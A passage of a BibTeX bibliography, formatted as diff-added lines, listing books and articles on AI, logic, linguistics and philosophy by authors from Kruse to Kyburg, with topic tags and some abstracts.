= {two-level-morphology;two-level-phonology;} + } + +@book{ kruse-etal:1991a, + author = {Rudolf Kruse and Erhard Schwecke and Jochen Heinsohn}, + title = {Uncertainty and Vagueness in Knowledge Based Systems: + Numerical Methods}, + publisher = {Springer-Verlag}, + year = {1991}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;vagueness;fuzzy-logic; + probability;Dempster-Shafer-theory;} + } + +@incollection{ kruse-etal:1991b, + author = {Rudolf Kruse and J. Gebhardt and F. Klawonn}, + title = {Reasoning with Mass Distributions and the Context Model}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {81--85}, + address = {Berlin}, + topic = {vagueness;probability;} + } + +@book{ kruse-siegel:1991a, + editor = {Rudolf Kruse and Pierre Siegel}, + title = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + series = {Lecture Notes in Computer Science}, + number = {548}, + year = {1991}, + address = {Berlin}, + topic = {uncertainty-in-AI;reasoning-about-uncertainty;} + } + +@incollection{ krymolowski-roth:1998a, + author = {Yuval Krymolowski and Dan Roth}, + title = {Incorporating Knowledge in Natural Language Learning: A + Case Study}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {121--127}, + address = {Somerset, New Jersey}, + url = { + http://www.ai.sri.com/\user{}harabagi/coling-acl98/acl_work/krymolowski.ps.gz}, + topic = {nl-processing;WordNet;machine-language-learning;} + } + +@book{ krynicki:1995b, + author = {Michal Krynicki}, + title = {Relational Quantifiers}, + publisher = {Polska Akademia Nauk, Instytut Matematyczny}, + year = {1995}, + address = {Warsaw}, + ISBN = {0814725821}, + topic = {generalized-quantifiers;} + } + +@book{ krynicki-etal:1995a, + editor = {Micha{\l} Krynicki and Marcin Mostowski and Les{\l}aw W. + Szczerba}, + title = {Quantifiers: Logic, Models, and Computation}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + address = {Dordrecht}, + volume = {1}, + contentnote = {TC: + 1. Lindstr\"om, "Prologue" + 2. Hans-Dieeter Ebbinghaus, "On the Model Theory of Some + Generalized Quantifiers" + 3. Lauri Hella and Kerkko Luosto, "Finite Generation Problem + and n-ary Quanfifiers" + 4. Jouko Vaanaen, "Games and Trees in Infinitary Logic: A + Survey" + 5. Heinrich Herre, "Theory of Linear Order in Extended + Logics" + 6. Micha{\l} Krynicki and Marcin Mostowski, "Henkin + Quantifiers" + 7. Xavier Caicedo, "Continuous Operations on Spaces of + Functions" + 8. J\"org Flum, "Model Theory of Topological Structures" + 9. Johann A. Makowski and Yachan B. Pnuelli, "Computable + Quantifiers and Logics over Finite Structures" + 10. Dag Westerst{\aa}hl, "Quantifiers in Natural Language: A + Survey of Some Recent Work" + }, + ISBN = {0792334507 (set: acid-free paper)}, + topic = {generalized-quantifiers;} + } + +@incollection{ krynicki-mostowski_m:1995a, + author = {Micha{\l} Krynicki and Marcin Mostowski}, + title = {Quantifiers, Some Problems and Ideas}, + booktitle = {Quantifiers: Logic, Models, and Computation, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Micha{\l} Krynicki and Marcin Mostowski and Les{\l}aw W. + Szczerba}, + pages = {1--19}, + address = {Dordrecht}, + contentnote = {This is a survey paper.}, + topic = {generalized-quantifiers;} + } + +@incollection{ krynicki-mostowski_m:1995b, + author = {Micha{\l} Krynicki and Marcin Mostowski}, + title = {Henkin Quantifiers}, + booktitle = {Quantifiers: Logic, Models, and Computation, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Micha{\l} Krynicki and Marcin Mostowski and Les{\l}aw W. + Szczerba}, + pages = {193--262}, + address = {Dordrecht}, + topic = {branching-quantifiers;} + } + +@article{ kshemkalyani:1997a, + author = {Ajay D. Kshemkalyani}, + title = {Reasoning About Causality between Distributed Nonatomic + Events}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {92}, + number = {1--2}, + pages = {301--315}, + acontentnote = {Abstract: + The complex events in distributed applications such as + industrial process control, avionics, navigation, planning, + robotics, diagnostics, virtual reality, and temporal and + geographic databases, are realistically modeled by nonatomic + events. This paper derives and studies causality relations + between nonatomic distributed events in the execution of a + complex distributed application. Such causality relations are + useful because they provide a fine level of discrimination in + the specification of the relative timing relations and + synchronization conditions between the nonatomic events. The + paper then proposes a set of axioms on the proposed causality + relations. The set of axioms provides a mechanism for temporal + and spatial reasoning with the set of relations and can be used + to derive all possible implications from any valid predicate on + the proposed relations. + } , + topic = {causality;distributed-systems;temporal-reasoning;} + } + +@article{ kubat:1991a, + author = {Miroslav Kubat}, + title = {Conceptual Inductive Learning: The Case of Unreliable + Teachers}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {52}, + number = {2}, + pages = {169--182}, + acontentnote = {Abstract: + Various algorithms for learning from examples usually suppose + more or less reliable sources of information. In this paper, we + study the influence of unreliable information sources on the + learning process and the recovery possibilities. The problem is + analyzed within the frame of the rough set theory which seems to + be a suitable means for treating incomplete and uncertain + knowledge. We briefly report on the learning system FLORA which + is based on this theory. } , + topic = {machine-learning;unreliable-information-sources;} + } + +@incollection{ kubler:1998a, + author = {Sandra K\"ubler}, + title = {Learning a Lexicalized Grammar for {G}erman}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {11--18}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;grammar-learning;} + } + +@incollection{ kubner:1998a, + author = {Sandra K\"ubner}, + title = {Learning a Lexiclized Grammar for {G}erman}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {11--18}, + address = {Somerset, New Jersey}, + topic = {grammar-learning;German-language;} + } + +@incollection{ kuchlin:1998a, + author = {W. K\"uchlin}, + title = {Introduction (To Part {III}: Parallel Inference Systems}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@book{ kueker-etal:1987a, + editor = {David W. Kueker and Edgar G.K. Lopez-Escobar and + Carl H. Smith}, + title = {Mathematical Logic and Theoretical Computer Science}, + publisher = {M. Dekker}, + year = {1987}, + address = {New York}, + ISBN = {0824777468 (pbk.)}, + topic = {logic-in-cs;logic-in-cs-intro;} + } + +@article{ kuhn_s:1979a, + author = {Steven T. Kuhn}, + title = {Quantifiers as Modal Operators}, + journal = {Studia Logica}, + year = {1979}, + volume = {39}, + number = {2/3}, + pages = {145--158}, + topic = {modal-logic;quantifiers;} + } + +@article{ kuhn_s:1989a, + author = {Steven Kuhn}, + title = {The Domino Relation: Flattening a Two-Dimensional Logic}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {2}, + pages = {173--195}, + topic = {modal-logic;} + } + +@book{ kuhn_t:1962a, + author = {Thomas Kuhn}, + title = {The Structure of Scientific Revolutions}, + publisher = {University of Chicago Press}, + year = {1962}, + address = {Chicago, Illinois}, + topic = {philosophy-of-science;} + } + +@article{ kuipers_bj:1978a, + author = {Benjamin Kuipers}, + title = {Modeling Spatial Knowledge}, + journal = {Cognitive Science}, + year = {1978}, + volume = {2}, + number = {2}, + pages = {129--154}, + topic = {spatial-reasoning;qualitative-reasoning;} + } + +@article{ kuipers_bj:1984a, + author = {Benjamin Kuipers}, + title = {Commonsense Reasoning about Causality: Deriving Behavior + from Structure}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {24}, + number = {1--3}, + pages = {169--203}, + topic = {qualitative-models;qualitative-physics;causality;} + } + +@article{ kuipers_bj:1986a, + author = {Benjamin Kuipers}, + title = {Qualitative Simulation}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {29}, + number = {3}, + pages = {289--338}, + topic = {qualitative-models;qualitative-physics;} + } + +@article{ kuipers_bj-etal:1991a, + author = {Benjamin J. Kuipers and Charles Chiu and David T. Dalle + Molle and D.R. Throop}, + title = {Higher-Order Derivative Constraints in Qualitative + Simulation}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {51}, + number = {1--3}, + pages = {343--379}, + topic = {qualitative-physics;} + } + +@article{ kuipers_bj:1993a, + author = {Benjamin Kuipers}, + title = {Reasoning with Qualitative Models}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {125--132}, + topic = {qualitative-reasoning;qualitative-methods;} + } + +@article{ kuipers_bj:1993b, + author = {Benjamin J. Kuipers}, + title = {Qualitative Simulation: Then and Now}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {133--140}, + topic = {qualitative-models;qualitative-physics;} + } + +@incollection{ kuipers_bj-shultz:1994a, + author = {Benjamin J. Kuipers and Benjamin Shultz}, + title = {Reasoning in Logic about Continuous Systems}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {391--402}, + address = {San Francisco, California}, + topic = {kr;qualitative-physics;reasoning-about-physical-systemsl + branching-time;kr-course;reasoning-about-continuous-quantities; + continuous-systems;} + } + +@article{ kuipers_bj:2000a, + author = {Benjamin J. Kuipers}, + title = {The Spatial Semantic Hierarchy}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {119}, + number = {1--2}, + pages = {191--233}, + acontentnote = {Abstract: + The Spatial Semantic Hierarchy is a model of knowledge of + large-scale space consisting of multiple interacting + representations, both qualitative and quantitative. The SSH is + inspired by the properties of the human cognitive map, and is + intended to serve both as a model of the human cognitive map and + as a method for robot exploration and map-building. The multiple + levels of the SSH express states of partial knowledge, and thus + enable the human or robotic agent to deal robustly with + uncertainty during both learning and problem-solving. + The control level represents useful patterns of sensorimotor + interaction with the world in the form of trajectory-following + and hill-climbing control laws leading to locally distinctive + states. Local geometric maps in local frames of reference can + be constructed at the control level to serve as observers for + control laws in particular neighborhoods. The causal level + abstracts continuous behavior among distinctive states into a + discrete model consisting of states linked by actions. The + topological level introduces the external ontology of places, + paths and regions by abduction to explain the observed pattern + of states and actions at the causal level. Quantitative + knowledge at the control, causal and topological levels supports + a ``patchwork map'' of local geometric frames of reference linked + by causal and topological connections. The patchwork map can be + merged into a single global frame of reference at the metrical + level when sufficient information and computational resources + are available. + We describe the assumptions and guarantees behind the + generality of the SSH across environments and sensorimotor + systems. Evidence is presented from several partial + implementations of the SSH on simulated and physical robots.}, + topic = {kr;spatial-reasoning;reasoning-about-space; + spatial-representation;qualitative-reasoning;} + } + +@phdthesis{ kukich:1983a, + author = {Karen Kukich}, + title = {Knowledge-Based Report Generation: A Knowledge Engineering + Approach to Natural Language Report Generation}, + school = {University of Pittsburgh}, + year = {1983}, + topic = {nl-generation;} +} + +@article{ kukich:1988a, + author = {Karen Kukich}, + title = {Techniques for Automatically Correcting Words in Text}, + journal = {{ACM} Computing Surveys}, + year = {1988}, + volume = {24}, + number = {4}, + pages = {377--439}, + topic = {spelling-correction;} + } + +@incollection{ kukich-etal:1994a, + author = {Karen Kukich and Kathleen McKeown and James Shaw and + Jacques Robin and J. Lim and N. Morgan and J. Phillips}, + title = {User-Needs Analysis and Design Methodology for an + Automated Document Generator}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {109--115}, + address = {Pisa and Dordrecht}, + topic = {nl-generation;HCI;} + } + +@incollection{ kukich-etal:1997a, + author = {Karen Kukich and Rebecca Passaneau and Kathleen McKeown and + Dragomir Radev and Vasileios Hataivassiloglou and + Hongyan Jing}, + title = {Software Re-Use and Evolution in Text + Generation Applications}, + booktitle = {From Research to Commercial Applications: Making + {NLP} Work in Practice}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {13--21}, + address = {Somerset, New Jersey}, + topic = {software-engineering;nl-generation;} + } + +@incollection{ kulikowski:1977a, + author = {R. Kulikowski}, + title = {A Dynamic Consumption Model and Optimization of Utility + Functionals}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {223--244}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;} + } + +@article{ kumonnakamura-etal:1995a, + author = {S. Kumon-Nakamura and S. Glucksberg and N. Brown}, + title = {How about Another Piece of Pie: The Allusional + Pretense Theory of Discourse Irony}, + journal = {Journal of Experimental Psychology: General}, + year = {1995}, + volume = {124}, + pages = {3--21}, + missinginfo = {A's 1st name, number}, + topic = {irony;cognitive-psychology;} + } + +@book{ kunda:1999a, + author = {Ziva Kunda}, + title = {Social Cognition}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-61143-0}, + topic = {social-psychology;social-cognition;agent-modeling; + cognitive-psychology;} + } + +@article{ kung:1974a, + author = {Guido K\"ung}, + title = {Prologue-Functors}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {3}, + pages = {241--254}, + topic = {propositional-attitudes;Davidson-semantics;} + } + +@book{ kunne-etal:1996a, + editor = {Wolfgang K\"unne and Albert Newman and Martin Andushus}, + title = {Direct Reference, Indexicalitum and Propositional Attitudes}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + topic = {propositional-attitudes;reference;} + } + +@article{ kuno:1974a, + author = {Susumo Kuno}, + title = {Lexical and Contextual Meaning}, + journal = {Linguistic Inquiry}, + year = {1974}, + volume = {5}, + pages = {469--477}, + missinginfo = {number}, + topic = {pragmatics;context;} + } + +@book{ kunreuther:1968a, + author = {Howard Kunreuther}, + title = {The Case for Comprehensive Disaster Insurance}, + publisher = {Dept. of Economics, Graduate School of Business, University + of Chicago,}, + year = {1968}, + address = {Chicago}, + topic = {risk-management;insurance;} + } + +@article{ kunreuther:1976a, + author = {Howard Kunreuther}, + title = {Disaster Insurance: A Tool For Hazard Mitigation}, + journal = {The Journal of Risk and Insurance}, + year = {1976}, + volume = {41}, + number = {2}, + missinginfo = {pages}, + topic = {risk-management;insurance;} + } + +@book{ kunreuther-etal:1978a, + author = {H. Kunreuther et al.}, + title = {Disaster Insurance}, + publisher = {John Wiley and Sons}, + year = {1978}, + address = {New York}, + missinginfo = {A's 1st name, other authors.}, + topic = {risk;} + } + +@book{ kunreuther-etal:2000a, + author = {Howard Kunreuther and Nathan Novemsky and Daniel Kahneman}, + title = {Making Low Probabilities Useful}, + publisher = {Risk Management and Decision Processes Center, + The Wharton School, University of Pennsylvania}, + year = {2000}, + address = {[Philadelphia}, + ISBN = {0471150819 (electronic bk.)}, + topic = {risk-assessment;} + } + +@book{ kuper:1999a, + author = {Adam Kuper}, + title = {Culture. The Anthropologist's Account}, + publisher = {Harvard University Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + xref = {Review: jarvie:2000a.}, + topic = {cultural-anthropology;philosophy-of-social-science;} + } + +@book{ kuper-etal:2000a, + editor = {Gabriel Kuper and Leonid Libkin and Jan Paredaens}, + title = {Constraint Databases}, + publisher = {Springer Verlag}, + year = {2000}, + address = {Berlin}, + ISBN = {3-540-66151-4}, + topic = {constraint-databases;} + } + +@inproceedings{ kurkisuonio:1986a, + author = {R. Kurki-Suonio}, + title = {Towards Programming With Knowledge Expressions}, + booktitle = {Proceedings of the Thirteenth Annual {ACM} Symposium + on Principles of Programming Languages}, + publisher = {ACM}, + year = {1981}, + pages = {140--149}, + organization = {ACM}, + missinginfo = {A's 1st name, editor, publisher, address}, + topic = {knowledge-based-programming;} + } + +@article{ kuroda:1979a, + author = {S-.Y. Kuroda}, + title = {Some Thoughts on the Foundations of Language Use}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {1}, + pages = {1--17}, + topic = {pragmatics;foundations-of-pragmatics;} + } + +@article{ kuroda:1986a, + author = {S.-Y. Kuroda}, + title = {A Formal Theory of Speech Acts}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {4}, + pages = {495--524}, + topic = {speech-acts;} + } + +@article{ kuroda:1989a, + author = {S.-Y. Kuroda}, + title = {An Explanatory Theory of Communicative Intention}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {6}, + pages = {655--681}, + missinginfo = {A's 1st name.}, + topic = {discourse;pragmatics;} + } + +@incollection{ kurohashi-higasa:2000a, + author = {Sado Kurohashi and Wataru Higasa}, + title = {Dialogue Helpsystem Based on Flexible Matching of User + Query with Natural Language Knowledge Base}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {141--149}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;help-systems;} + } + +@article{ kurotonina-derijke:1997a, + author = {Natasha Kurotonina and Maarten de Rijke}, + title = {Bisimulations for Temporal Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {4}, + pages = {403--425}, + topic = {modal-logic;dynamic-logic;} + } + +@article{ kurtonina:1998a, + author = {Natasha Kurtonina}, + title = {Categorial Inference and Modal Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {4}, + pages = {399--411}, + topic = {categorial-grammar;modal-logic;} + } + +@article{ kurtonina-derijke:1999a, + author = {Natashi Kurtonina and Maarten de Rijke}, + title = {Expressiveness of Concept Expressions in First-Order + Description Logics}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {2}, + pages = {303--333}, + topic = {logic-in-AI;taxonomic-logics;krcourse;} + } + +@article{ kurtonina:2000a, + author = {Natasha Kurtonina}, + title = {Review of {\em Handbook of Logic and Language}, edited by + {J}ohan van {B}enthem and {A}lice ter {M}eulen}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {2}, + pages = {263--269}, + xref = {Review of: vanbenthem-termeulen:1996a.}, + topic = {nl-semantics;} + } + +@techreport{ kurtz-etal:1992a, + author = {Stuart Kurtz and John Mitchell and Michael O'Donnell}, + title = {Connective Formal Semantics to Constructive Intuitions}, + institution = {Department of Computer Science, University of Chicago}, + number = {CS 92--01}, + year = {1992}, + address = {Chicago, IL}, + topic = {foundations-of-intuitionistic-logic;} + } + +@article{ kurucz-etal:1992a, + author = {\'Agnes Kurucz and Istv\'an N\'emeti and Idik\'o Sain + and Andr\'as Simon}, + title = {Decidable and Undecidable Logics With a Binary Modality}, + journal = {Journal of Logic, Language, and Information}, + year = {1992}, + volume = {4}, + number = {3}, + pages = {191--206}, + topic = {modal-logic;} + } + +@article{ kusch:1988a, + author = {Martin Kusch}, + title = {Husserl and {H}eidegger on Meaning}, + journal = {Synth\'ese}, + year = {1988}, + volume = {77}, + number = {1}, + pages = {99--127}, + topic = {Husserl;Heidegger;semantics;} + } + +@book{ kusch-schroder:1989a, + editor = {Martin Kusch and Hartmut Schr\"der}, + title = {Text--Interpretation--Argumentation}, + publisher = {H. Buske}, + year = {1989}, + address = {Hamburg}, + ISBN = {3871189219}, + topic = {discourse-analysis;} + } + +@book{ kusch:1999a, + author = {Martin Kusch}, + title = {Psychological Knowledge}, + publisher = {Routledge}, + year = {1999}, + address = {London}, + ISBN = {0 415 19253 6 (Hb)}, + topic = {philosophy-of-psychology;} + } + +@article{ kushmerick-etal:1995a, + author = {Nicholas Kushmerick and Steve Hanks and Daniel S. Weld}, + title = {An Algorithm for Probabilistic Planning}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {239--286}, + acontentnote = {Abstract: + We define the probabilistic planning problem in terms of a + probability distribution over initial world states, a boolean + combination of propositions representing the goal, a probability + threshold, and actions whose effects depend on the + execution-time state of the world and on random chance. + Adopting a probabilistic model complicates the definition of + plan success: instead of demanding a plan that provably achieves + the goal, we seek plans whose probability of success exceeds the + threshold. + In this paper, we present BURIDAN, an implemented + least-commitment planner that solves problems of this form. We + prove that the algorithm is both sound and complete. We then + explore BURIDAN's efficiency by contrasting four algorithms for + plan evaluation, using a combination of analytic methods and + empirical experiments. We also describe the interplay between + generating plans and evaluating them, and discuss the role of + search control in probabilistic planning.}, + topic = {probabilistic-planning;planning-algorithms;} + } + +@article{ kushmerick:2000a, + author = {Nicholas Kushmerick}, + title = {Wrapper Induction: Efficiency and Expressiveness}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {118}, + number = {1--2}, + pages = {15--68}, + acontentnote = {Abstract: + The Internet presents numerous sources of useful + information---telephone directories, product catalogs, stock + quotes, event listings, etc. Recently, many systems have been + built that automatically gather and manipulate such information + on a user's behalf. However, these resources are usually + formatted for use by people (e.g., the relevant content is + embedded in HTML pages), so extracting their content is + difficult. Most systems use customized wrapper procedures to + perform this extraction task. Unfortunately, writing wrappers + is tedious and error-prone. As an alternative, we advocate + wrapper induction, a technique for automatically constructing + wrappers. In this article, we describe six wrapper classes, and + use a combination of empirical and analytical techniques to + evaluate the computational tradeoffs among them. We first + consider expressiveness: how well the classes can handle actual + Internet resources, and the extent to which wrappers in one + class can mimic those in another. We then turn to efficiency: we + measure the number of examples and time required to learn + wrappers in each class, and we compare these results to PAC + models of our task and asymptotic complexity analyses of our + algorithms. Summarizing our results, we find that most of our + wrapper classes are reasonably useful (70% of surveyed sites can + be handled in total), yet can rapidly learned (learning usually + requires just a handful of examples and a fraction of a CPU + second per example). + } , + topic = {AI-and-the-internet;machine-learning;automatic-programming; + information-integration;} + } + +@incollection{ kusters:1998a, + author = {Ralf K\"usters}, + title = {Characterizing the Semantics of Terminological Cycles + in ${\cal ALN}$ Using Finite Automata}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {499--510}, + address = {San Francisco, California}, + topic = {kr;terminological-cycles;taxonomic-logics;kr-course;} + } + +@article{ kutach:2002a, + author = {Douglas N, Kutach}, + title = {The Entropy Theory of Counterfactuals}, + journal = {Philosophy of Science}, + year = {2002}, + volume = {69}, + number = {1}, + pages = {82--104}, + topic = {conditionals;probability;} + } + +@article{ kutulakos-dyer:1995a, + author = {Kiriakos N. Kutulakos and Charles R. Dyer}, + title = {Global Surface Reconstruction by Purposive Control of + Observer Motion}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {78}, + number = {1--2}, + pages = {147--177}, + acontentnote = {Abstract: + What viewpoint-control strategies are important for performing + global visual exploration tasks such as searching for specific + surface markings, building a global model of an arbitrary + object, or recognizing an object? In this paper we consider the + task of purposefully controlling the motion of an active, + monocular observer in order to recover a global description of a + smooth, arbitrarily-shaped object. We formulate global surface + reconstruction as the task of controlling the motion of the + observer so that the visible rim slides over the maximal, + connected, reconstructible surface regions intersecting the + visible rim at the initial viewpoint. We show that these regions + are bounded by a subset of the visual event curves defined on + the surface. + By studying the epipolar parameterization, we develop two basic + strategies that allow reconstruction of a surface region around + any point in a reconstructible surface region. These strategies + control viewpoint to achieve and maintain a well-defined + geometric relationship with the object's surface, rely only on + information extracted directly from images (e.g., tangents to + the occluding contour), and are simple enough to be performed in + real time. We then show how global surface reconstruction can be + provably achieved by (1) appropriately integrating these + strategies to iteratively ``grow'' the reconstructed regions, and + (2) obeying four simple rules.}, + topic = {active-perception;contour;object-identification;} + } + +@incollection{ kutz-etal:2002a, + author = {Oliver Kutz and Frank Wolter and Michael Zakharyaschev}, + title = {Connecting Abstract Description Systems}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {215--226}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;hybrid-kr-architectures;} + } + +@article{ kvanvig:1995a, + author = {Jonathan Kvanvig}, + title = {The Knowability Paradox and the Prospects for Anti-Realism}, + journal = {No\^us}, + year = {1995}, + volume = {29}, + number = {4}, + pages = {481--500}, + topic = {epistemic-logic;propositional-quantifiers;} + } + +@article{ kvart:1980a, + author = {Igal Kvart}, + title = {Formal Semantics for Temporal Logic and Counterfactuals}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1980}, + volume = {23}, + number = {23}, + pages = {35--62}, + topic = {conditionals;temporal-logic;} + } + +@incollection{ kvart:1986a, + author = {Igal Kvart}, + title = {Kripke's Belief Puzzle}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {287--325}, + address = {Minneapolis}, + topic = {belief;Pierre-puzzle;} + } + +@incollection{ kvart:1997a, + author = {Igal Kvart}, + title = {Cause and Some Positive Causal Impact}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {401--432}, + address = {Oxford}, + topic = {causality;} + } + +@article{ kvart:2002a, + author = {Igal Kvart}, + title = {Probabilistic Cause and the Thirsty Traveler}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {2}, + pages = {139--179}, + topic = {causality;} + } + +@article{ kwa:1989a, + author = {James B.H. Kwa}, + title = {{BS}*: An Admissible Bidirectional Staged Heuristic Search + Algorithm}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {1}, + pages = {95--109}, + acontentnote = {Abstract: + In order to reap the potential advantage of less extensive + searching which bidirectional heuristic search algorithms offer, + strategies are needed to influence the two search wavefronts to + meet such that early termination will occur. The principled + search control strategy aims to achieve this without trading + running time, but can be found wanting still. An improved + algorithm BS* is described which expands significantly less + nodes on average than any other algorithm in the same class of + non-wave-shaping admissible bidirectional algorithms. When + pitted against BHPA, the only other heuristically guided member + in this class, BS*'s average search efficiency in time and space + is about 30% better. BS*'s superior performance stems from the + use of all opportunities to achieve early termination and the + elimination of unfruitful avenues by search reduction + operations: nipping, pruning, trimming and screening. Such + operations explore information gathered during search and have + several spin-offs: more accurate guidance of search control, + early exposure of nonpromising nodes and reduced bookkeeping + overheads, all of which further enhance BS*'s performance. A + further noteworthy feature of BS* is that it is the first staged + search algorithm which preserves admissibility. } , + topic = {search;} + } + +@incollection{ kwock:1997a, + author = {K.L. Kwock}, + title = {Lexicon Effects on {C}hinese Information Retrieval}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {141--148}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;Chinese-language; + information-retrieval;} + } + +@article{ kwoh-gillies:1996a, + author = {Chee-Keong Kwoh and Duncan Fyfe Gillies}, + title = {Using Hidden Nodes in {B}ayesian Networks}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {1--38}, + topic = {Bayesian-networks;} + } + +@incollection{ kwong:1998a, + author = {Oi Yee Kwong}, + title = {Aligning {W}ord{N}et with Additional Lexical Resources}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {73--79}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;computational-lexicography;} + } + +@article{ kyburg:1990a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Probabilistic Inference and Probabilistic Reasoning}, + journal = {Philosophical Topics}, + year = {1990}, + volume = {18}, + number = {2}, + pages = {107--116}, + topic = {probabilistic-reasoning;} + } + +@incollection{ kyburg:1994a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Uncertainty Logics}, + booktitle = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 3: Nonmonotonic + Reasoning and Uncertain Reasoning}, + publisher = {Oxford University Press}, + year = {1994}, + editor = {Dov Gabbay and Christopher J. Hogger and J. A. Robinson}, + pages = {397--438 } , + address = {Oxford}, + topic = {uncertainty-logics;uncertainty-in-AI;} + } + +@unpublished{ kyburg_a-morreau:1998a, + author = {Alice Kyburg and Michael Morreau}, + title = {Vague Utterances and Context Change}, + year = {1998}, + note = {Unpublished manuscript.}, + topic = {vagueness;context;} + } + +@article{ kyburg_a-morreau:2000a, + author = {Alice Kyburg and Michael Morreau}, + title = {Fitting Words: Vague Language in Context}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {6}, + pages = {577--597}, + topic = {vagueness;context;} + } + +@book{ kyburg_he:1961a, + author = {Henry E. {Kyburg, Jr.}}, + title = {Probability and the Logic of Rational Belief}, + publisher = {Wesleyan University Press}, + year = {1961}, + address = {Middletown, 